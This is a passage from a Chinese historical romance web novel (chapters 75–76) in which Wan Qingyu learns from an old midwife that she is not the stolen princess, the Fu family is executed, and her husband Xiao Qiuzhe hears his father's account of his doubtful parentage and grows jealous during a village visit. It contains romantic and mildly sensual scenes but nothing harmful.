晚青妤在晚付用过午饭后,返回亲王府。如今亲王府内,唯余她与萧秋折二人居住,其余人等皆已迁入皇宫。她也有意于近日搬至太子殿,所以一整个下午皆在收拾东西。 傍晚,曾受命追查人贩子踪迹的探子归来,向她禀报道:“少夫人,昔日那些人贩子及经手小公主的婆子,我等已寻到,只是那些人贩子居无定所,仅捕获一人。据其所述,他仅是奉命行事,自京城携出数名婴孩,初时并不知晓哪位乃是小公主。” “而后,有一婆子过来,付了大批银子,抱走了两名女婴,后来那婆子把两名女婴如何安置的,那人贩子并不知晓。虽然那婆子已经寻到,但是她年迈体衰、卧病在床,加之路途遥远,手下未敢将她带回。” “此刻她尚有些许清醒,若少夫人欲问询些事宜,还需亲往一趟。” 第75章 第75章身世。 晚青妤原已不欲再查此事,更不愿深究自己的身世。然京城有孩童被拐,心下又生踌躇。那些失子父母寻访多年,想必肝肠寸断。纵使不为自己,也该将那些被拐的孩子一一寻回才是。为此事,她辗转反侧。 傍晚,她亲自下厨为萧秋折煲了一盅汤,又做了几道小菜。虽厨艺不精,却也盼着他能尝一尝自己的手艺。 庭院深深,她独坐石凳上,随手拈了颗葡萄,又取来一卷书册翻阅。 萧秋折书房中的藏书,多是些闺阁女子难以得见的典籍。晚青妤取了一册翻阅,初时读不进去,渐渐竟读得入了神。这些书卷多涉朝堂政事,如今她身份不同,更需勤学以辅佐夫君。 夜凉如水,庭中风露渐重。直至更深夜静,萧秋折方从宫中匆匆归来。见她又独坐院中等候,心头倏地一暖。他上前执起她的手,温声道:“怎的还不歇息?往后不必日日等候,近来公务繁杂,不确定什么时候回府,莫要误你睡觉。” 晚青妤起身,双手攀上他的脖颈,笑道:“我喜欢等你,喜欢看着你回来的模样,真的很喜欢。” 她说着,仰脸往他唇边凑了凑。 萧秋折望着她盈盈水眸,伸手揽住她的腰肢,在她唇上落下一吻:“可用过饭了?” “还没有。”她伸臂搂紧他,在他胸口蹭了蹭,“今日亲手做了几道小菜,还煨了汤,你且尝尝滋味如何。” 萧秋折万没料到她竟亲自下厨,揉揉她的小脸进了膳厅。晚青妤命人将备好的菜肴一一呈上。她亲手舀了一碗热汤递到他面前,眸光盈盈地望着他。 萧秋折接过尝了尝,眼中闪过惊喜。 “可还合口味?”晚青妤问她。 “好喝。”他又夹了几箸小菜,“没想到你厨艺这般了得。” 晚青妤眉眼笑得弯弯的,往他跟前挨了挨。 萧秋折抱着她让她坐在自己腿上,温声道:“虽然很欢喜你做的饭,却更舍不得让你操劳。来日你贵为太子妃,我更愿你将时间用在自己喜爱的事情上,而非围着庖厨转。” 他揉搓着她白嫩的小手:“我的太子妃,合该娇养着才是。方才见你案前放着的那册书,是我早年间读过的。那些典籍于治学修身大有裨益,你若喜欢,可以多读读。” “晚青妤,我愿你将心思都用在自己喜爱的事情上。真正爱一个人,是对方身上独有的风华。我不愿你因嫁与我,便失了那份灵秀之气,终日困于柴米油盐之间。” 烛影摇红,映照着他眼底的柔情。这便是萧秋折,既能托付山河之重,亦懂呵护心上人。 晚青妤凝望着他,想起他这一路行来的艰辛。眼前这人历经磨难,却仍保有一颗赤子之心,胸襟之开阔更非常人可比。 她抓起他的手,贴在自己颊边,柔声道:“你瞧,我这不是养得白白嫩嫩的?不止是这皮相,连这颗心都被你宠得鲜活。” 指尖传来温软的触感,萧秋折心头微动。却见她眼波流转,忽然莞尔:“萧秋折,我这一生最庆幸的,便是遇见你。你这般好,教我如何能不喜欢呢?” 她说话总是这么好听。 他将她往怀中带了带:“该是我庆幸遇见你才是。若非当年你那些书信,我怕是早已离开这个世界了。晚青妤,无论日后为太子还是登基为帝,我萧秋折此生只爱你一人,也只娶你一人。没人知晓你在我心中的分量。这半生浮沉,多少次都是靠着你给的那点光亮撑过来的。你写的每封信、每个字,我都反复读过很多遍。是你,是你给了我重生的勇气。” 月光在他眉宇间投下深深浅浅的影子。 说起那些信,晚青妤笑道:“那时写了十几封信,如今记得真切的不过寥寥数封。倒不曾想,你竟都仔细收着。” “信上字字句句,我至今都能倒背如流。”他凑近她耳畔,“可要我背给你听?” “不用,不用。”晚青妤连连摆手,霎时羞红了脸。那些年少时的私语,如今想来实在羞人,若让他当面念出来,岂不臊得慌,“待回去后我自要先看一遍,倒要瞧瞧当年都写了些什么,竟让你记到如今。” 这世间情缘,原就是命中注定的纠缠。当年那一封封书信,如同月老手中的红线,将两颗漂泊的心渐渐系紧。纵使途中风雨如晦,只要彼此心意相通,便是生生世世的相守。 月色溶溶,夏夜的庭院里浮动着淡淡花香。两人用过晚膳后并未急着回房,晚青妤牵着萧秋折的手来到院中。她坐在秋千上,萧秋折轻轻推着秋千,竹制的秋千架发出细微的吱呀声。 她又想起初搬进这宅院时,也是这般月色,她坐在秋千上听他诉说这些年来的际遇。那时他道尽未能回信的缘由,见她眼中泪光盈盈,却始终未得只字回应。 她想起找到人贩子和媒婆子的事,随着秋千轻轻摇晃,几番欲言又止。正踌躇间,却听萧秋折先开了口:“明日付家问斩一事由我主理,届时会将付氏全族押赴刑场。” 他手上动作未停,声音却沉了几分:“明日恐要忙一整日,事后还需料理诸多琐事。届时你不必等我,先睡。” 晚青妤听闻,默然良久。忽而想起付云汐,那个与她一同长大的小姑娘,生得玉雪可爱,心地纯善。虽前些时日在宫中对她出言不逊,也不过是为兄长抱不平罢了。 她轻叹一声,指尖无意识地摩挲着秋千绳索。 萧秋折觉察她心中所想,道:“付家根基深厚,世代经营,早已盘根错节。有些人,生来便注定要走什么路。付云汐自幼耳濡目染,难免沾染些不正思想。如今新皇登基需要严格处理,也绝不会留下后患,此事非你我所能转圜。” 以大局为重,便是如此。 晚青妤仰首望他,月光落在他清隽的眉眼上,她轻声道:“我明白的。朝代更迭自有其法度,你不过依律行事罢了。” 付家人斩首,也算是为她父兄报了仇。 秋千轻轻摇晃一会,二人便回房歇息。 房中早已撤去了小榻,只余一张雕花大床。这两日萧秋折特意命人换了上好的锦缎被褥,玉儿更是机灵,早早备好了冰丝软衾,连隔壁浴池的温水都时时温着。 红烛高烧,罗帐低垂。二人这一夜又如前两日般缠绵至三更。萧秋折自己也说不清为何这般贪恋她的身子,只觉得心上爱重,身下更是情难自禁。而晚青妤自与他在一起后,也愈发贪恋。 她攀上他的胸膛,激情地回吻着,他每撩拨一下她的舌尖,她就觉春水缓缓溢出,他亦是如此。 这或许便是心里上以及生理上的爱吧!爱到喜欢对方的一切。 次日拂晓,萧秋折便动身入宫。晚青妤梳洗罢,本欲继续收拾行装准备迁入东宫,却总忍不住想起自己身世之事。 自己究竟是否真是皇家人?当年又是何人胆大包天,竟敢偷换皇家血脉?那些人贩子将孩童带出京城后,究竟送往何处?这一连串疑问如蛛网般缠绕心头。 前些日子还道不再追究身世之事,今日却又辗转反侧,仿佛有什么在心底作祟,非要探个明白不可。她自知素来是个有主意的,如今却左右为难——既怕追查此事会牵连萧秋折,又按捺不住想要知晓真相的念头。 如今萧秋折贵为太子,若被有心人拿此事做文章,即便不是真的,流言蜚语也足以让他们陷入困境。更何况,若前朝皇帝殡天,这身世之谜恐怕就再难查证。而那位真正的小公主如今身在何处,更是无人知晓。 思来想去,晚青妤终是下定决心亲自走一遭。她命方于备好马车,带着几名护卫前往探子所说的住处。 那婆子住得极远,马车行了半日方至。 眼前是间摇摇欲坠的茅屋,推门进去,只见那婆子气息奄奄地卧在榻上,见有生人来访,惊得连连咳嗽:“你 们是什么人?要干什么?” 晚青妤走上前,直视着她浑浊的双眼:“我有一事相询,望你如实相告。” 那婆子定睛瞧她,忽地眉头紧锁,似是想起了什么,枯瘦的手指紧紧攥住了被角。 晚青妤示意方于将房门掩上,她从袖中缓缓取出一枚玉佩,递到婆子眼前:“这物件,想必你还认得。” 那婆子眯着昏花老眼凑近细看,忽地浑身一颤,惊道:“你,你怎会寻到此处?” 晚青妤立在榻前,语气平和却不容回避:“我追查此事已久。这玉佩自幼便戴在我身上,与当年小公主佩戴的那枚一模一样。” 她指尖轻抚玉佩纹路:“这是皇贵妃赐予爱女的信物。当年皇贵妃命人将这块玉一分为二,一半赐予小皇子,一半赐予小公主。后来小公主被人从宫中抱走时,这玉佩就戴在她身上。” “我听闻,当年人贩子带出京城的孩童中,你花重金买下了两名女婴,其中一人身上就戴着这半块玉佩。” 婆子浑浊的眼珠转了转,枯瘦的手指紧紧攥住被角。 “老婆子我。”她忽然剧烈咳嗽起来,好一会儿才喘匀了气,“活到这把年纪,黄土都埋到脖子了。这些年从没人来问过这些旧事,你是头一个。横竖都是要死的人了,有些亏心事,也该说个明白。” 她颤巍巍地支起身子,眼中泛起一丝清明:“那日我从人贩子手里确实买过两个女娃。我原是镇上颇有名望的接生婆,经手的孩子不计其数。因着这营生,对些见不得光的勾当也知晓一二。那日忽有人寻来,许以重金,要我带走小公主去邻国交给一个人。” “我到了交接处,但见十来个孩童被关在一起。我按着吩咐,正要带走小公主,忽想起邻村有个孤老婆子,一生无儿无女,临了只想有个孩儿承欢膝下。” “我当时就起了贪念,多抱了个女娃,准备想送给那孤老婆子。谁知赶到村里时,那老婆子已经咽了气。两个孩子哭闹不休,我正寻思着该往哪儿送,慌乱间竟将一块玉佩掉在了地上。老眼昏花间,我也分不清这玉佩原是从哪个娃儿身上掉下来的。只得胡乱塞进其中一个的襁褓里。那玉佩质地很好,虽说我干的是缺德营生,可对这父母留给孩儿的信物,到底没敢昧下。” “最后我把那个孩子丢在了村口大路边。那枚玉佩就这么阴差阳错地留给了那女娃。” 晚青妤问:“你们当时怎么分辨哪位是小公主?” 婆子回道:“那人贩子交付时特意指明,小公主右臂内侧有块蝴蝶状的朱砂记,是宫里贵人特意嘱咐过的记号。我将她送到边境时,接应的那位郎君还特意验看过。” 她喘了口气继续道:“至于玉佩,我手忙脚乱间确实弄混了。但是小公主身上有记号,这是不会错的。” “所以,当时被你丢在路边的女娃娃,并不是小公主?哪怕玉佩在她身上。”晚青妤急声问。 “没错。”婆子回道。 那么,她并非小公主,她与萧秋折确实并无血亲关系。 晚青妤心里一块石头终是落地。 她问道:“那被弃在村口的女娃,可知是何来历?” 婆子费力地回想着,脸上显出几分茫然:“我当时并未细问,只记得那孩子衣着华贵,襁褓用的都是上好的云锦,能从京城流出来的孩子,多半是哪个高门大户的千金。” “你有所不知,这里头藏着天大的买卖。那些孩子都是明码标价的,贫寒人家的卖到富商家,能得三五十两银子。若是出身不错,长相好的女娃,就专供给一些达官贵人当情人养,价钱能翻上好几番。” 晚青妤闻言心头一紧,如此说,被卖掉的女婴都不会有好结果。若非当初婆子把她抱走丢在路边,那么她也不会有好的下场,更不会被晚家人捡走。 这买卖背后所牵涉的,着实让晚青妤心惊。并且,他们竟然连公主都敢动。这哪里是寻常拐卖,分明是张遍布朝野的巨网。 她强压怒意问道:“你可知那些人贩子的下落?这幕后主使又是何人?” 婆子回道:“这买卖盘根错节,牵扯的贵人比您想的还要多。前些年国家松懈,他们便钻了这个空子。我也曾帮着转过几回手。有个关键人物,京城来的一位男子。” 晚青妤急忙问:“那人姓甚名谁?现居何处?” 婆子气若游丝地摇头:“姓名不知,他们皆以代号相称,那人唤做二号,数字越小,位分越高,所经手的事情越重要。他常在宣城一带交接,你们去那里,或许能查到一些你们想知道的事情。” 晚青妤心中翻涌着惊涛骇浪。今日这一趟,竟牵扯出这般惊天大案。这些年表面太平盛世,暗地里竟有如此猖獗的贩童勾当。 京城来的男子又会是谁?她又是哪家的孩子?当初为何有人敢偷小公主?又为何把小公主送到邻国去? 第76章 第76章“唔……你别亲这里。”…… 晚青妤深知此事牵连甚广,不敢独自前往宣城查探。既已确认自己并非皇家血脉,与萧秋折亦无血亲关系,心下稍安。至于追查贩卖孩童及自己身世一事,还需萧秋折调派人手方能成行。 从婆子处出来后,她留了两名侍卫看守,另遣人回京禀报萧秋折。自己则转道去了之前居住的山间小院。 晚青妤掀开车帘,望着熟悉的乡间小路,恍如隔世。不知李婆婆身子骨可还硬朗?介凌学业怎么样了?这几个月在京城历经诸事,倒让她开始怀念这山野间的淳朴日子。 山野间已是绿荫葱茏,田埂上农人弯腰劳作,远处青山如黛,空气中飘着草木清香。几个孩童眼尖,瞧见马车里的身影,顿时雀跃起来:“是青妤姐姐回来了!” 乡民们闻声围拢,见果真是她与玉儿,都欢喜地问长问短。这山野村落远离京城,村民们尚不知她已是太子妃,只当是从前那个住在山间的姑娘回来了。 晚青妤含笑下车,与众人一一寒暄。山风拂面,恍惚间又回到那两年清贫却自在的时光。晨起听泉,夜来观星,虽粗茶淡饭,却胜在心神安宁。 晚青妤一行人径直去了李婆婆的住处,带了许多食物和滋补药材。李婆婆见着她,欢喜得直抹眼泪:“青妤啊,可算把你盼来了,介凌这孩子日日念叨,就想着什么时候能再见你一面。” 介凌见到晚青妤,一口一个“青妤姐姐”叫得亲热。数月不见,少年身量又拔高了不少,原本稚嫩的脸庞已显出几分棱角,正是抽枝拔节的年纪。 晚青妤含笑应着,随他们进了屋。李婆婆忙着沏茶,介凌抢先捧了茶递到她跟前,眼睛亮晶晶的,一瞬不瞬地望着她。 方于在一旁瞧着少年这般殷勤模样,不禁为自家主子捏了把汗,看来他们这位少夫人,在哪儿都是极招人喜欢的。 玉儿见方于叹气,用手肘狠狠捅了他一下:“你叹什么气?介凌与我们素来亲厚,往日挑水砍柴的活计都是他帮着做的。小姐待他如亲弟,我也当他是个知书达理的好孩子,也很喜欢他。” 方于听得“喜欢”二字,脸色顿时沉了下来,转身就往外走。他最见不得别的男子献殷勤,偏生这山野少年还与她们这般亲厚。 玉儿瞧他这副醋样,挑了挑眉也不理会。屋内众人叙话半晌,李婆婆执意要留饭:“今日定要尝尝介凌新学的菜式。” 晚青妤含笑应下。忆起从前年节时分,介凌与玉儿掌勺,李婆婆烧火,她在一旁打下手。炊烟袅袅间,倒比那珍馐美味更觉温馨。 介凌虽做的都是农家菜,却格外用心。晚青妤带来的鲜鱼肥羊,在他手下都化作了美味佳肴。一锅奶白的鱼汤,一盘酱香四溢的炖肉,还有只金黄酥烂的烧鹅,香气飘满了整个院子。 玉儿去树下唤方于用膳时,他本不愿动筷,又不好扫了众人兴致,只得勉强入席。谁知刚尝了一口烧鹅,眼睛顿时亮了起来:“介凌兄弟这手艺当真了得,我在京城这些年,还未尝过这般滋味。” 听得方于夸赞,介凌与玉儿都笑得眉眼弯弯。玉儿拍了拍方于肩头:“瞧见没?男子会做饭也是极招人喜欢的。往后家里的饭菜可得你包了,起码要做得比介凌还好才行。” 方于挠头憨笑:“包在我身上,虽现在不会,但我定好生学着。” 他偷瞄了眼玉儿,又补充道:“洗衣带娃这些,我也一并学了去。” 玉儿闻言,颊边顿时红了,抿着嘴笑得甜蜜。 这顿饭众人吃得其乐融融。膳后,介凌将近日所读的诗书一一说与她听,又说起秋后要赴京赶考的事。山间夏风和畅,花香鸟语,比那京城不知惬意多少。 而此时京城,付家满门问斩,引得万人空 巷。刑场四周人潮涌动,百姓们争相目睹昔日煊赫的付老爷伏法。街谈巷议间,有人赞新皇雷厉风行,竟能将盘根错节的付家连根拔起。也有人忧心忡忡,那位素来风流的萧亲王骤然登基,不知能否做个明君? 一人指着高头大马上的萧秋折,压低声音道:“听说太子与付家大公子为了那位晚姑娘,可是闹得满城风雨。如今他贵为太子,怕是要另纳侧妃了……” “嘘!”另一人打断道,“我瞧着太子爷对他夫人情深义重,未必会另娶。只是这次付家问斩竟由太子亲自主持。” “亲手砍了情敌脑袋,应该挺爽的吧!” “但是瞧着太子的表情,也没有多开心。” 刑台之上,付钰书与族人跪作一排。他身形消瘦,面容枯槁,一双眸子黯淡无光,仿佛早已失了魂魄。这一生,他挣扎过,抗争过,却终究逃不过家族宿命。 萧秋折高踞马上,隔着重重人群与他对视。那双眼睛里,他竟读不出怨恨,只有看破红尘的释然,与对这世道的绝望。或许付钰书早已明白,生在这样一个家族,从来就由不得自己选择。 “萧秋折。”付钰书突然轻唤一声,声音虽轻,但他听到了,“照顾好青妤,别辜负她。” 这声嘱托,是付钰书此生最后的真心。他这一生犹如一场荒唐大梦,对晚青妤的情意虽深,却终究求而不得。其实早在两年前,他便已经输了,情爱之事,原就不论对错,只看缘分深浅。 萧秋折望着刑台上的他,心中五味杂陈。为君者,原就该斩断私情,可这一句临终嘱托,却像根刺,深深扎进了他心里。 付家伏诛后,萧秋折与晚青桁一同料理后事。晚青桁不时偷觑萧秋折的神色,暗自叹息。虽他素日不喜付钰书,可亲眼见他身首异处,仍觉心头沉甸甸的。想起昔年在乔家大院,付钰书总爱带着新奇书册来,众人围坐分食枣子的光景,竟恍如隔世。 付家之事料理完毕,已是申时三刻。萧秋折怀着沉重的心情入宫复命,正欲告退回府,却被父亲唤住。 萧敖将他引至偏殿,命人备了酒水。萧敖亲自斟了杯酒递与他:“先前说过要与你细说你母亲的事,今日正好得空。” 萧秋折虽未做好聆听往事的准备,却仍接过酒杯一饮而尽。烈酒入喉,灼得五脏六腑都烧起来。 萧敖也仰头饮尽杯中酒,长叹一声,说起了曾经之事:“当年我与你母亲,原是天造地设的一对。她与皇后情同姐妹,我们四人常在一处吟风弄月,后来皇上与我同时向她表明心迹,她选择了我,说早在初见时便已倾心。” “新婚燕尔时,我们确是鹣鲽情深。可一年过去,她始终未能有孕,我本不在意。然你祖母在后宫争斗半生,性子最是强势。见我们久无子嗣,日**迫,后来太医诊断,原是我不能生育。” “那时你母亲还宽慰我,说多寻名医诊治便是。谁知后来,我奉命出征三月,归来时她却已怀胎三月。” 殿内死一般寂静,只听得更漏滴答。 “初闻她有孕时,我欣喜若狂,只当是上苍垂怜。可府中突然流言四起,说你母亲与我弟弟有染。我原是不信的。你母亲那般品性,不可能做那种事情。可我那弟弟找到我,亲口告诉我,你母亲肚子里的孩子是他的。” “你母亲向我解释,说她与我弟弟并未发生关系。我信也不是,不信也不是,那段时日,当真是生不如死。” “那时,我日日告诫自己莫要轻信,可我那弟弟却一次次告诉我那孩子是他的。” 他冷笑一声:“多么荒唐的事。一个死不承认,一个不停拿证据给我看。后来,你母亲终日以泪洗面,渐渐地,我们开始争吵。” “我那弟弟,原是父皇最器重的皇子。可自从染了怪病,父皇便再不肯见他,或许正是这般落差,让他心绪大变,再加上他曾经经手的事务父皇都交给了我,我还娶到了心爱的女子。想是,他恨透了我。” “那时我也想过,这或许只是他的报复。可府中又有人出来作证,说确实亲眼所见过我弟弟多次寻找你母亲,甚至他们说你母亲房内时常传出哭声。” “后来……我们开始无休止地争吵。直到那日,我在皇弟房中发现了你母亲的贴身小衣。” “即便那时,你母亲仍哭诉清白,说即便我弟用强,她也以死相抗。可我……终究没有信她。” “一日,我醉倒在酒肆,遇到了江侧妃,她将我带到客栈里醒酒,当时我想起太医说过,若要验证我是否已经能够生育,可换个女子试试。” “那日我与江侧妃发生关系之后她并未怀孕,后来几次也没有,直到我把她娶进家门,一年多后她才怀上,太医说,是我身子调理得当,以后可以像正常人一样延续子嗣。” 说到这里,萧敖垂下了头。 “你母亲生产那日,我未曾培在身边,而我那弟弟却日日守着。从你出生到周岁,他都待你如亲生骨肉。他病逝那年,你才两岁。” “你母亲是在你六岁那年走的。那些年她的身子一直不好,精神也不好,总是落泪落泪。其实,我恨她至死都不肯与我说实话,若她坦白……” “够了。”萧秋折突然打断他。 不知何时起,他眼眶已然通红,指节攥得发白。荒唐,当真荒唐至极,为着一桩真假难辨的事,竟让他母亲含恨而终,让他二十余年活得像个笑话。一个二十七年来都在纠结的人,又怎会体谅他母亲的苦衷?母亲到死都在解释,可他仍旧不信,甚至二十几年都不信。 半晌,他眼中尽是讥诮,问道:“那这数月来,父亲为何突然变了态度?可是寻到了什么证据?还是终于肯信我是您的骨血?” 他最近的改变,让萧秋折原以为他终是释然,准备好生待自己的孩子。 可结果,他又真正相信母亲当初的话了吗? 而如今,其实是不是亲生于他早已不重要。 萧敖望着他通红的双眼,自己的眼眶也渐渐红了。二十几年了,他竟不知自己为何能固执至此,即便看着孩子一日日长成,即便看着他与自己年轻时如出一辙的模样,那份莫名的恨意却始终未消。 “是晚青妤让我改变了想法。”萧敖回道,“那日见她为你据理力争的模样,让我想起当年你母亲也是义无反顾地跪在父皇面前为我求情。那年我与皇弟争夺储位,险些丧命。也是你母亲带着她父亲,跪在雪地里给我求情。” 只是他鬼迷心窍似的始终不信她。 这是爱吗?萧秋折只觉得可笑,没有爱情是这样的,起码在他的认知里不是。口口声声说爱他的母亲,又将她迎娶到家,结果连最基本的信任都没有。 萦绕多年的东西怕不是爱情,而是咽不下的那口气吧! 有些人还是 太自私了。 “这些年……终究是我亏欠了她,也亏欠了你。” 二十几年,迟来的歉意。 萧秋折听了只觉心头一片麻木。说了这许多,自己究竟是谁的骨血,竟仍是个谜。他嘴角扯出一抹苦笑,母亲含恨而终,自己二十余年的心结,到头来不过是一场荒唐。 殿内,父子二人均是无言。 良久,萧敖背过身去,低声道:“你放心,从今往后,我定会待你视如己出。只要你能持守为国为民之心,这太子之位,始终会是你的。” 我定会待你视如己出。 这句话像把刀子,生生剜进萧秋折心口。他强压下喉头苦涩,只低低应了声“是”,便转身出了殿。 二十几年,从被皇后的毒打到遭父亲的妾室欺辱,哪次不是这样熬过来的呢?今天只不过是多听了一些无关紧要的话罢了,他又何必在意,何必心烦。 可是胸口却疼得厉害。 他抬手擦了下眼角,对迎上来的方齐道:“今日所有事务都推了,我想回家多睡一会。” 他还有个家,他和晚青妤的家。 他这一生汲汲营营,究竟为的什么?为母亲讨个清白?为苍生谋个太平?还是为了自己? 无论是什么,今日,他只想为自己一回,什么都不想做,只想好好睡一觉。 然而回到府中,却见庭院空寂。管家禀报说晚青妤一早就带着玉儿、方于出了城,说是去调查一些事情,负责调查晚青妤身世的探子,将事情一五一十地告诉了他。 他坐在院中的石阶上,心情更为沉重。她终究还是放不下,宁可独自前去查明,也不愿与他坦言。 他只觉额角突突地跳,连管家奉上的热茶也推开了。在院中枯坐片刻,终究放心不下,索性翻身上马,带着方齐朝着那婆子住处疾驰而去。 赶到时已是申时,婆子小院里只余两个侍卫守着,却不见晚青妤。守卫说她去了山间小院,他则又调转马头往山野奔去。 到了山间小院已是傍晚,院里黑漆漆的,敲门也无人应答。他很是担心,生怕她遭遇不测。正欲去村中打听,忽想起当初接她回京时,曾在村口遇到的那位与她关系甚好的老婆婆,于是他便去了李婆婆家中寻找。 寻至李婆婆的篱笆小院前,隔着疏落的竹篱,只见院内灯火融融。晚青妤正与几人围坐在石桌旁用饭,玉儿和方于也在其中。 晚风送来阵阵饭香,混着他们的说笑声。 萧秋折怔怔立在门外,先看到他的是方于,方于霍然起身,惊唤道:“公子?” 晚青妤闻声回头,见他立在门外,也急忙起身去迎他:“你怎么来了?” 她眼中满是惊喜,这么远的路,他竟寻到了这里。 萧秋折压下心头烦闷,进了院子,抓起她的手,目光扫过院内,正对上介凌冷冽的眼神,这少年郎君白衣胜雪,神色却如霜似雪。与那时在村口送别时一般,对他满怀敌意。 李婆婆见来了新人,热络道:“公子快坐,尝尝介凌的手艺。” 萧秋折牵着晚青妤上前,朝李婆婆郑重行了一礼:“晚辈萧秋折,乃是青妤的夫君,拜见婆婆。来得仓促,未曾备礼,还望婆婆见谅。” 李婆婆见他如此热情有礼,忙笑道:“公子不必客气,快坐下吃饭。这桌菜都是介凌和青妤一起做的,不知合不合你口味?” 萧秋折扫了眼满桌佳肴,又瞥向面色不虞的介凌,没想到这少年还有这般手艺。他净了手,紧挨着晚青妤坐下,一只手抓紧了晚青妤的小手。 萧秋折来后,介凌便再未开口,只静坐一旁,目光时不时瞥向萧秋折。少年人的心思太过浅显,全写在脸上。那点不甘与醋意,在萧秋折这等阅尽千帆的人眼里,实在太过稚嫩。 虽心情郁结,但他仍强撑着用完了这顿饭。不得不说,介凌的手艺确实精湛,便是比之京城名厨也不遑多让。 膳后,李婆婆让介凌沏茶。少年执壶的手势娴熟,茶香顷刻盈满小院。 晚青妤正欲介绍,萧秋折便道:“小公子名叫介凌,年十六,已过县试,秋后欲赴京赶考,自幼苦读诗书,想要走出这座大山。” 晚青妤惊讶,没想到萧秋折竟将介凌的底细摸得这般清楚。 介凌闻言挑了下唇角没说话,目光频频落在二人交握的手上。 喝完茶,几人回山间小院,萧秋折一路沉默,只紧紧牵着晚青妤的手。方于与玉儿跟在后面,都感觉到了这奇怪的气氛。 “怎么了?公子心情好像不好。”方于摸不着头脑,问方奇。 “从宫里出来时脸色就难看得很。偏那小子敌意还那么大。”方齐阅人无数,一眼就看出了介凌对晚青妤有好感。 “他好像真的喜欢少夫人。”一顿饭下来,方于笃定道。 “莫要胡说。”玉儿使劲撞了方于一下。 今日她也发现了,介凌确实对晚青妤有点意思,只是从前在山中这两年,小姐与她都当介凌是个孩子,从未往别处想过。 晚青妤这一路寻了无数话头,萧秋折却始终沉默。行至山间小院门前,他突然掏出叠银票塞给方齐:“你们三个去镇上玩,今晚别回来。” 三人面面相觑,接过银票疑惑地离开了。 萧秋折带晚青妤进了屋,却是坐在桌前一言不发。 晚青妤点亮蜡烛,昏黄的光晕染亮了这间久违的屋子。熟悉的陈设让她心头微暖,可眼前人这副模样又令她不解。 晚青妤歪头看了看他,刚要开口,却见他突然起身去,不准备理她。 晚青妤不明所以,走到床前,俯身整理床褥,轻声道:“今夜在此歇一晚,明日一早便回京。你朝务繁忙,耽搁不得。待得了闲,我们再多住几日。” 话音落下,萧秋折却不做声。 晚青妤这才恍然,原来他是在生自己的气。她想了想,解释道:“我原不想查身世之事,只是想到那些被拐的孩子就于心不忍。那婆子说,这背后藏着惊天买卖。贩卖孩童不是小事,当年我也是其中之一。不过婆子告诉我了一个关键人物,等我回了京城,你多派些人去调查,想必一定会将贩卖团伙一网打尽。” 坐在桌前僵挺着的人依旧不做声。 晚青妤纳闷,转身看他,走上前想要抱他,他却避开了。她又试探着解释:“可是为着我来这里的事生气?我没有告诉你,是因为今一早你就去了皇宫,而我又焦灼不安,原是只见见婆子就回去了,结果发现婆子的住处离这里非常近,便拐了一趟。” 晚青妤原以为萧秋折是因为这些事而心生不悦,遂细细解释了一番,然他依旧充耳不闻。 她上前欲揽其入怀,却再次被他转身避开,显然,他心中郁气未消。晚青妤复又思量,轻声问道:“夫君,究竟是何事惹你如此不悦?” 萧秋折终是回了话,却冷不丁道:“我们在此多住几日,我想散散心。明日你想吃什么,我做给你吃。” 晚青妤心中更添疑惑:“朝中不忙了?” 他可才刚被封为太子。 萧秋折却道:“怎的,为夫为你烹膳,你倒不乐意了?” 晚青妤忙摇头:“那日你还说不让我下厨,把时间用在自己喜欢的事情上,今日怎么反而是你要亲自动手呢?” 关键是他也不会吧! 萧秋折见她不可置信,微拢了下眉头,半晌,道:“莫非,你只想吃别的男子做的饭菜?” 别的男子? 晚青妤闻此,恍然大悟,原来他是在吃介凌的醋。 他竟是因介凌会烹饪而心生醋意? 她张却又一时语塞,往他跟前凑了凑,想要伸臂勾住他脖颈,结果又被他推拒了,还冷声道:“有话直说,别亲近我,今夜我不打算抱着你睡。” 晚青妤不明白他生的哪门子醋,不打算再哄他,便道:“既然夫君不愿与我一同睡,那便请夫君移步到外面睡吧。” 言罢,她走到床边,取一条毯子,递于他:“夜色尚温,一条毯子足够了。柴房或院中,你随便睡,请便吧。” 她竟然赶他出去? 萧秋折难以置信地望着她,晚青妤亦回望着他,道:“夫君有二选,一是听我解释,然后抱着我睡。二是不听解释,出去睡。” 萧秋折未曾料到她会如此理直气壮,嘴角勾起一抹冷笑,起身向门外走去。 “出去就出去。” 可是走到门前,却不见晚青妤挽留,他又停下来,转身看她,见她目光盈盈地看着自己,轻叹一声:“解释吧,但愿能让我满意。” 晚青妤料定他会如此,笑道:“你过来。” 萧秋折依言走到她面前,晚青妤接过他手中的毯子,扔到榻上,而后一把抱住他,在他胸口上蹭了蹭,抬首望着他,嘿嘿笑道 :“我家夫君生得如此俊逸非凡,才情横溢,心地又善,对我更是呵护备至,试问我又有何理由去倾心旁人,况且那人还是个孩子。” 萧秋折微微挑眉,反驳道:“他可不是什么孩子,他已然十六七岁了,正值青春年华。” 他这语气醋意十足。 晚青妤踮起脚尖在他唇上亲了一口,笑道:“那他也没有我家夫君好看呀。想当年你十七岁时,我可是一眼便瞧上了你,还给你写了那么多情书呢。因着先前遇到过更好的,旁的便再也入不得我的眼了。” “那这两年多来,他可时常来寻你?你二人关系可是非同一般?” “没有,从未有过。先前因我与玉儿干不了力气活,那些挑柴担水的重活皆是介凌帮助。刚接触时他还小,才十四五岁,我与玉儿一直将他当作小弟弟看待,怎会有非分之想呢?” “况且,我只喜欢年岁长于我的,不喜欢比我小的。不然,我也不会看上你呀,对不对?你我二人相差五岁,我的夫君比我年长五岁,自是比我成熟稳重许多,遇事也能冷静思考,不会片面看待,更不会轻易生气吃醋。” “长得好的人,心底定是善良的。况且优秀的人,必定宽容大度,不会钻牛角尖,对身边的人亦是极好。你看,方才你拿了那么多银票给方齐、方于还有玉儿,让他们去镇上玩耍,足见你有多豁达呢。” “晚青妤,我可不豁达。”萧秋折一把搂紧了她的腰身,“我只是想支开他们,以免影响我询问你。而且我确实吃醋了,也很生气。” 醋意确实挺重。 晚青妤思寻着如何哄他,只是还未想好言辞,却被他突然一把扛在了肩上。他力气大,个子高,她被她扛在肩上更显娇小。 “萧秋折,你要干什么?”晚青妤脸颊倏地红了。 萧秋折随手扯起床上的毯子,大步出了房间,走到院中一棵大树下,大树绿叶葱茏,树荫下覆盖着一片青草。他将毯子往地上一扔,又把她往毯子上一放。 “晚青妤,你要补偿我。” 晚青妤四下望了一眼,周围黑漆漆的,夜风带着凉意。 她感觉到了他要干什么,爬起身就要跑,结果却被他一把按在了毯子上。 “萧秋折,你不会想在这里吧?” 在院中? “嗯,屋里热。” “……” 晚青妤觉得他疯了,脸羞得通红,又要挣扎起身,却被萧秋折抓紧双腿,猛地往跟前扯了扯。 “萧秋折你冷静点。” 